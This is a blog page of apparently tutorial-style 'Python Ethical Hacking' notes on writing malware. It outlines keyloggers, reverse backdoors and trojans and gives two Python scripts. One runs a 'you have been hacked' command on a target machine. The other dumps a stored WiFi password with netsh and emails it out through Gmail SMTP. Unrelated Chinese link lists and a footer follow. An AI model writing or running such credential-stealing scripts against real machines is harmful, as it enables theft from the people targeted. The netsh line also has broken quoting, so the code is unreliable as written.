• Python Ethical Hacking


    WRITING MALWARE

    • Download file.
    • Execute Code.
    • Send Report.
    • Download & Execute.
    • Execute & Report.
    • Download, Execute & Report.

    KEYLOGGER

    A program that records keys pressed on the keyboard.

    REVERSE_BACKDOOR

    • Access file system.
    • Execute system commands.
    • Download files.
    • Upload files.
    • Persistence.

    PROGRAMMING TROJANS

    CROSS-PLATFORM COMPATIBILITY

    EXECUTE_COMMAND

    Execute system command on target.

    le:

    • if a program is executed on Windows -> execute windows commands.
    • if a program is executed on Mac OS X -> execute Unix commands.

    After packaging:

    • Execute any system command on any OS using a single file. 
    #!/usr/bin/env python
    
    import subprocess
    
    command = "msg * you have been hacked"
    subprocess.Popen(command, shell=True)

    Execute AND Report

    Execute system command on the target and send the result to email.

    #!/usr/bin/env python
    
    import smtplib
    import subprocess
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    command = "netsh wlan show profile "Panda Home" key=clear"
    result = subprocess.check_output(command, shell=True)
    send_mail("aaaa@gmail.com", "1111111", result)

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    wpf arcgis engine 当前没有或未启用Spatial Analyst许可解决办法
    arcglobe 图层三大类说明
    sql自带函数语句
    wpf 前台获取资源文件路径问题
    Microsoft.Office.Interop.Excel的用法
    WPF:父窗口与子窗口的层次关系
    wpf 拖图片到窗体
    wpf comboBox取值问题
    wpf 窗体内容旋转效果 网摘
    js拖动滑块
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11604807.html
Copyright © 2020-2023  润新知